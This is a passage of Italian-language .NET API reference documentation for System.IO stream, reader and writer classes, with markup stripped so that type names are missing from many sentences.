verificato un errore di I/O. + L'istanza del flusso corrente è chiusa. + 2 + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive un byte nella posizione corrente all'interno del flusso corrente. + Byte da scrivere. + Il flusso non supporta la scrittura.Per ulteriori informazioni, vedere .-oppure- La posizione corrente è alla fine del flusso e non è possibile modificare la capacità. + Il flusso corrente è chiuso. + 2 + + + Scrive l'intero contenuto del flusso di memoria in un altro flusso. + Flusso in cui scrivere il flusso di memoria. + + è null. + Il flusso corrente o di destinazione è chiuso. + 2 + + + Specifica la posizione in un flusso da utilizzare per le ricerche. + 2 + + + Specifica l'inizio di un flusso. + + + Specifica la posizione corrente all'interno di un flusso. + + + Specifica la fine di un flusso. + + + Fornisce una visualizzazione generica di una sequenza di byte.Questa è una classe abstract.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 2 + + + Inizializza una nuova istanza della classe . + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la lettura. + true se il flusso supporta la lettura; in caso contrario, false. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la ricerca. + true se il flusso supporta la ricerca; in caso contrario, false. + 1 + + + Ottiene un valore che determina se il flusso corrente prevede il timeout. + Valore che determina se il flusso corrente prevede il timeout. + 2 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene un valore che indica se il flusso corrente supporta la scrittura. + true se il flusso supporta la scrittura; in caso contrario, false. + 1 + + + Legge i byte dal flusso corrente e li scrive in un altro flusso. + Flusso in cui verrà copiato il contenuto del flusso corrente. + + è null. + Il flusso corrente non supporta la lettura.-oppure- non supporta la scrittura. + Il flusso corrente o sono stati chiusi prima che venisse chiamato il metodo . + Si è verificato un errore di I/O. + + + Legge tutti i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + + è null. + + è un valore negativo o zero. + Il flusso corrente non supporta la lettura.-oppure- non supporta la scrittura. + Il flusso corrente o sono stati chiusi prima che venisse chiamato il metodo . + Si è verificato un errore di I/O. + + + Legge in modo asincrono i byte dal flusso corrente e li scrive in un altro flusso. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + + è null. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Legge in modo asincrono tutti i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Legge in modo asincrono i byte dal flusso corrente e li scrive in un altro flusso, usando una dimensione di buffer specificata e un token di annullamento. + Attività che rappresenta l'operazione di copia asincrona. + Flusso in cui verrà copiato il contenuto del flusso corrente. + Dimensione del buffer, in byte.Il valore deve essere maggiore di zero.La dimensione predefinita è 81920. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + + è un valore negativo o zero. + Il flusso corrente o il flusso di destinazione viene eliminato. + Il flusso corrente non supporta la lettura, o il flusso di destinazione non supporta la scrittura. + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Quando ne viene eseguito l'override in una classe derivata, cancella tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Si è verificato un errore di I/O. + 2 + + + Cancella in modo asincrono i dati di tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il flusso è stato eliminato. + + + Cancella in modo asincrono i dati di tutti i buffer del flusso, determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scaricamento asincrona. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + Il flusso è stato eliminato. + + + Quando ne viene eseguito l'override in una classe derivata, ottiene la lunghezza in byte del flusso. + Valore long che rappresenta la lunghezza del flusso in byte. + Una classe derivata da Stream non supporta la ricerca. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Oggetto Stream privo di archivio di backup. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, ottiene o imposta la posizione all'interno del flusso corrente. + Posizione corrente all'interno del flusso. + Si è verificato un errore di I/O. + Il flusso non supporta la ricerca. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, legge una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti. + Numero complessivo di byte letti nel buffer.È possibile che questo numero sia inferiore a quello dei byte richiesti se la quantità di byte disponibili è minore oppure che corrisponda a zero (0) se è stata raggiunta la fine del flusso. + Matrice di byte.Quando questo metodo viene restituito, il buffer contiene la matrice di byte specificata con i valori compresi tra e ( + - 1) sostituiti con i byte letti dall'origine corrente. + Offset dei byte in base zero in in corrispondenza del quale iniziare l'archiviazione dei dati letti dal flusso corrente. + Numero massimo di byte da leggere dal flusso corrente. + La somma di e è maggiore della lunghezza del buffer. + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O. + Il flusso non supporta la lettura. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva nel flusso in base al numero di byte letti. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge in modo asincrono una sequenza di byte dal flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte letti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Buffer in cui scrivere i dati. + Offset dei byte in da cui iniziare la scrittura dei dati dal flusso. + Numero massimo di byte da leggere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la lettura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un byte dal flusso e sposta in avanti la posizione corrente all'interno del flusso di un byte o restituisce -1 se si trova alla fine del flusso. + Cast di byte senza segno in un parametro Int32 oppure -1 se si trova alla fine del flusso. + Il flusso non supporta la lettura. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Ottiene o imposta un valore, in millisecondi, che determina per quanto tempo il flusso tenterà la lettura prima del timeout. + Valore in millisecondi che determina per quanto tempo il flusso tenterà la lettura prima del timeout. + Il metodo genera sempre un'eccezione . + 2 + + + Quando ne viene eseguito l'override in una classe derivata, imposta la posizione all'interno del flusso corrente. + Nuova posizione all'interno del flusso corrente. + Offset dei byte rispetto al parametro . + Valore di tipo che indica il punto di riferimento usato per ottenere la nuova posizione. + Si è verificato un errore di I/O. + Il flusso non supporta la ricerca, come se il flusso fosse stato costruito da un pipe o da un output di console. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 1 + + + Quando ne viene eseguito l'override in una classe derivata, imposta la lunghezza del flusso corrente. + Lunghezza desiderata del flusso corrente in byte. + Si è verificato un errore di I/O. + Il flusso non supporta la scrittura e la ricerca, come se il flusso fosse stato costruito da un pipe o da un output di console. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Quando ne viene eseguito l'override in una classe derivata, scrive una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti. + Matrice di byte.Questo metodo copia i byte da nel flusso corrente. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso corrente. + Numero di byte da scrivere nel flusso corrente. + La somma di  e  è maggiore della lunghezza del buffer. + + è null. + + o  è negativo. + Si è verificato un errore dei / o, ad esempio possibile trovare il file specificato. + Il flusso non supporta la scrittura. + + è stato chiamato dopo la chiusura del flusso. + 1 + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva nel flusso in base al numero di byte scritti. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una sequenza di byte nel flusso corrente e passa alla posizione successiva all'interno del flusso corrente in base al numero di byte scritti e monitora le richieste di annullamento. + Attività che rappresenta l'operazione di scrittura asincrona. + Buffer da cui scrivere i dati. + Offset dei byte in base zero in da cui iniziare la copia dei byte nel flusso. + Numero massimo di byte da scrivere. + Token da monitorare per le richieste di annullamento.Il valore predefinito è . + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso non supporta la scrittura. + Il flusso è stato eliminato. + Il flusso è al momento utilizzato da un'operazione di scrittura precedente. + + + Scrive un byte nella posizione corrente del flusso e sposta in avanti di un byte la posizione del flusso. + Byte da scrivere nel flusso. + Si è verificato un errore di I/O. + Il flusso non supporta la scrittura o è già chiuso. + Sono stati chiamati dei metodi dopo la chiusura del flusso. + 2 + + + Ottiene o imposta un valore, in millisecondi, che determina per quanto tempo il flusso tenterà la scrittura prima del timeout. + Valore in millisecondi che determina per quanto tempo il flusso tenterà la scrittura prima del timeout. + Il metodo genera sempre un'eccezione . + 2 + + + Implementa un oggetto che legge i caratteri da un flusso di byte in una particolare codifica.Per esaminare il codice sorgente di .NET Framework per questo tipo, vedere il Reference Source. + 1 + + + Inizializza una nuova istanza della classe per il flusso specificato. + Flusso da leggere. + + non supporta la lettura. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con l'opzione specificata per il rilevamento dei byte order mark. + Flusso da leggere. + Indica se cercare i byte order mark all'inizio del file. + + non supporta la lettura. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri specificata. + Flusso da leggere. + Codifica dei caratteri da usare. + + non supporta la lettura. + + o è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri e l'opzione per il rilevamento dei byte order mark specificati. + Flusso da leggere. + Codifica dei caratteri da usare. + Indica se cercare i byte order mark all'inizio del file. + + non supporta la lettura. + + o è null. + + + Inizializza una nuova istanza della classe per il flusso specificato, con la codifica dei caratteri, l'opzione per il rilevamento dei byte order mark e le dimensioni del buffer specificati. + Flusso da leggere. + Codifica dei caratteri da usare. + Indica se cercare i byte order mark all'inizio del file. + Dimensione minima del buffer. + Il flusso non supporta la lettura. + + o è null. + + è minore o uguale a zero. + + + Inizializza una nuova istanza della classe per il flusso specificato in base alla codifica caratteri, all'opzione per il rilevamento dei byte order mark e alle dimensioni del buffer specificati. Facoltativamente mantiene aperto il flusso. + Flusso da leggere. + Codifica dei caratteri da usare. + true per cercare i byte order mark all'inizio del file; in caso contrario, false. + Dimensione minima del buffer. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + + Restituisce il flusso sottostante. + Flusso sottostante. + 2 + + + Ottiene la codifica caratteri corrente usata dall'oggetto corrente. + Codifica caratteri usata dal lettore corrente.Il valore può essere diverso dopo la prima chiamata a un metodo di , in quanto il rilevamento automatico della codifica non è completo fino alla prima chiamata a un metodo . + 2 + + + Cancella il buffer interno. + 2 + + + Chiude il flusso sottostante, rilascia le risorse non gestite usate dall'oggetto e, facoltativamente, rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Ottiene un valore che indica se la posizione corrente del flusso è alla fine del flusso. + true se la posizione corrente del flusso è alla fine del flusso; in caso contrario, false. + Il flusso sottostante è stato eliminato. + 1 + + + Oggetto che include un flusso vuoto. + 1 + + + Restituisce il carattere successivo disponibile senza usarlo. + Intero che rappresenta il carattere successivo da leggere oppure -1 se non sono presenti caratteri da leggere o se il flusso non supporta la ricerca. + Si è verificato un errore di I/O. + 1 + + + Legge il carattere successivo dal flusso di input e fa avanzare di un carattere la posizione del carattere. + Carattere successivo dal flusso di input rappresentato come oggetto oppure -1 se non sono disponibili altri caratteri. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, iniziando dall'indice specificato. + Numero di caratteri letti oppure 0 se alla fine del flusso non è stato letto alcun dato.Il numero sarà minore o uguale al parametro , a seconda che i dati siano disponibili o meno all'interno del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e () sostituiti con i caratteri letti dall'origine corrente. + Indice di da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + La lunghezza del buffer meno è minore di . + + è null. + Il valore di o è negativo. + Si è verificato un errore di I/O, come la chiusura del flusso. + 1 + + + Legge in modo asincrono un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del flusso prima che il numero di caratteri specificato venga scritto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che tutti i caratteri di input siano stati letti o meno. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e () sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + + + Legge in modo asincrono un numero massimo specificato di caratteri dal flusso corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a 0 (zero) se è stata raggiunta la fine del flusso. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del flusso prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dal flusso corrente e restituisce i dati come stringa. + Riga successiva del flusso di input oppure null se viene raggiunta la fine del flusso di input. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Si è verificato un errore di I/O. + 1 + + + Legge una riga di caratteri in modo asincrono dal flusso corrente e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del flusso oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del flusso. + Parte restante del flusso come stringa, dalla posizione corrente alla fine del flusso.Se la posizione corrente è alla fine del flusso, restituisce una stringa vuota (""). + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Si è verificato un errore di I/O. + 1 + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del flusso in modo asincrono e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e la fine del flusso. + Il numero di caratteri è maggiore di . + Il flusso è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Implementa un oggetto che scrive i caratteri in un flusso con una particolare codifica.Per esaminare il codice sorgente .NET Framework per questo tipo, vedere Origine riferimento. + 1 + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica UTF-8 e le dimensioni del buffer predefinite. + Flusso in cui scrivere. + + non è modificabile. + + è null. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica dei caratteri e le dimensioni del buffer specificate. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + + o è null. + + non è modificabile. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica caratteri e le dimensioni del buffer specificate. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + Dimensioni del buffer, in byte. + + o è null. + + è negativo. + + non è modificabile. + + + Inizializza una nuova istanza della classe per il flusso specificato usando la codifica dei caratteri e le dimensioni del buffer specificate. Facoltativamente mantiene aperto il flusso. + Flusso in cui scrivere. + Codifica dei caratteri da usare. + Dimensioni del buffer, in byte. + true per mantenere il flusso aperto dopo avere eliminato l'oggetto ; in caso contrario, false. + + o è null. + + è negativo. + + non è modificabile. + + + Ottiene o imposta un valore che indica se scarica i dati del buffer nel flusso sottostante dopo ogni chiamata a . + true per forzare lo scaricamento del buffer; in caso contrario, false. + 1 + + + Ottiene il flusso sottostante che si interfaccia con un archivio di backup. + Flusso in cui StreamWriter scrive. + 2 + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + La codifica corrente non supporta la visualizzazione della metà di una coppia di surrogati Unicode. + + + Ottiene l'oggetto in cui viene scritto l'output. + Oggetto specificato nel costruttore per l'istanza corrente o , se non è stata specificata alcuna codifica. + 2 + + + Cancella tutti i buffer relativi al writer corrente e consente la scrittura dei dati memorizzati nel buffer nel flusso sottostante. + Il writer corrente è chiuso. + Si è verificato un errore di I/O. + La codifica corrente non supporta la visualizzazione della metà di una coppia di surrogati Unicode. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del flusso e determina la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il flusso è stato eliminato. + + + Fornisce un oggetto StreamWriter senza archivio di backup, in cui è possibile scrivere, ma da cui non è possibile leggere. + 1 + + + Scrive un carattere nel flusso. + Carattere da scrivere nel flusso. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una matrice di caratteri nel flusso. + Matrice di caratteri che contiene i dati da scrivere.Se è null, non viene scritta alcuna voce. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una sottomatrice di caratteri nel flusso. + Matrice di caratteri che contiene i dati da scrivere. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + Si è verificato un errore di I/O. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + 1 + + + Scrive una stringa nel flusso. + Stringa da scrivere nel flusso.Se è Null, non viene scritta alcuna voce. + + è true o il buffer di è pieno e il writer corrente è chiuso. + + è true o il buffer di è pieno e il contenuto del buffer non può essere scritto nel flusso sottostante di dimensione fissa poiché si trova al termine del flusso. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri che contiene i dati da scrivere. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere nel flusso.Se è null, non viene scritta alcuna voce. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive un terminatore di riga nel flusso in modo asincrono. + Attività che rappresenta l'operazione di scrittura asincrona. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono un carattere seguito da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono una sottomatrice di caratteri seguiti da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive nel flusso in modo asincrono una stringa seguita da un terminatore di riga. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di flusso viene eliminato. + Il writer di flusso è attualmente utilizzato da un'operazione di scrittura precedente. + + + Implementa un oggetto che legge da una stringa. + 2 + + + Inizializza una nuova istanza della classe che legge dalla stringa specificata. + Stringa sulla quale inizializzare . + Il parametro è null. + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Restituisce il carattere successivo disponibile senza utilizzarlo. + Integer che rappresenta il carattere successivo da leggere oppure -1 se non sono disponibili altri caratteri o se il flusso non supporta la ricerca. + Il lettore corrente è chiuso. + 2 + + + Legge il carattere successivo dalla stringa di input e fa avanzare di un carattere la posizione del carattere. + Carattere successivo della stringa sottostante oppure -1 se non sono disponibili altri caratteri. + Il lettore corrente è chiuso. + 2 + + + Legge un blocco di caratteri dalla stringa di input e fa avanzare la posizione del carattere di . + Numero complessivo di caratteri letti nel buffer.È possibile che sia inferiore al numero di caratteri richiesti se la quantità di caratteri non è correntemente disponibile oppure può corrispondere a zero se è stata raggiunta la fine della stringa sottostante. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Indice iniziale nel buffer. + Numero di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + Il lettore corrente è chiuso. + 2 + + + Legge in modo asincrono un numero massimo specificato di caratteri dalla stringa corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine della stringa. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine della stringa prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge in modo asincrono un numero massimo specificato di caratteri dalla stringa corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine della stringa. + Quando il metodo restituisce un risultato, questo contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine della stringa prima che il numero di caratteri specificato venga scritto nel buffer, il metodo restituisce un risultato. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dalla stringa corrente e restituisce i dati come stringa. + Riga successiva della stringa corrente oppure null se viene raggiunta la fine della stringa. + Il lettore corrente è chiuso. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + 2 + + + Legge una riga di caratteri in modo asincrono dalla stringa corrente e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del lettore di stringhe oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine della stringa e li restituisce come singola stringa. + Contenuto dalla posizione corrente alla fine della stringa sottostante. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Il lettore corrente è chiuso. + 2 + + + Legge in modo asincrono tutti i caratteri dalla posizione corrente fino alla fine della stringa e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e l'estremità della stringa. + Il numero di caratteri è maggiore di . + Il lettore della stringa è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Implementa un oggetto per la scrittura di informazioni in una stringa.Le informazioni vengono archiviate in un oggetto sottostante. + 2 + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con il controllo di formato specificato. + Oggetto che controlla la formattazione. + + + Inizializza una nuova istanza della classe che scrive nell'oggetto specificato. + Oggetto StringBuilder in cui scrivere. + + è null. + + + Inizializza una nuova istanza della classe che scrive nello specificato e dispone del provider di formato specificato. + Oggetto StringBuilder in cui scrivere. + Oggetto che controlla la formattazione. + + è null. + + + Rilascia le risorse non gestite utilizzate dall'oggetto ed eventualmente rilascia le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite, false per rilasciare solo le risorse non gestite. + + + Recupera l'oggetto in cui viene scritto l'output. + Encoding in cui viene scritto l'output. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di svuotamento asincrona. + + + Restituisce l'oggetto sottostante. + StringBuilder sottostante. + 2 + + + Restituisce una stringa contenente i caratteri scritti finora nell'oggetto StringWriter corrente. + Stringa contenente i caratteri scritti nell'oggetto StringWriter corrente. + 2 + + + Scrive un carattere nella stringa. + Carattere da inserire. + Il writer è chiuso. + 2 + + + Scrive una sottomatrice di caratteri nella stringa. + Matrice di caratteri da cui scrivere i dati. + Posizione nel buffer da cui iniziare la lettura dei dati. + Numero massimo di caratteri da scrivere. + + è null. + Il valore di o è negativo. + ( + )> .Length. + Il writer è chiuso. + 2 + + + Scrive una stringa nella stringa corrente. + Stringa da scrivere. + Il writer è chiuso. + 2 + + + Scrive 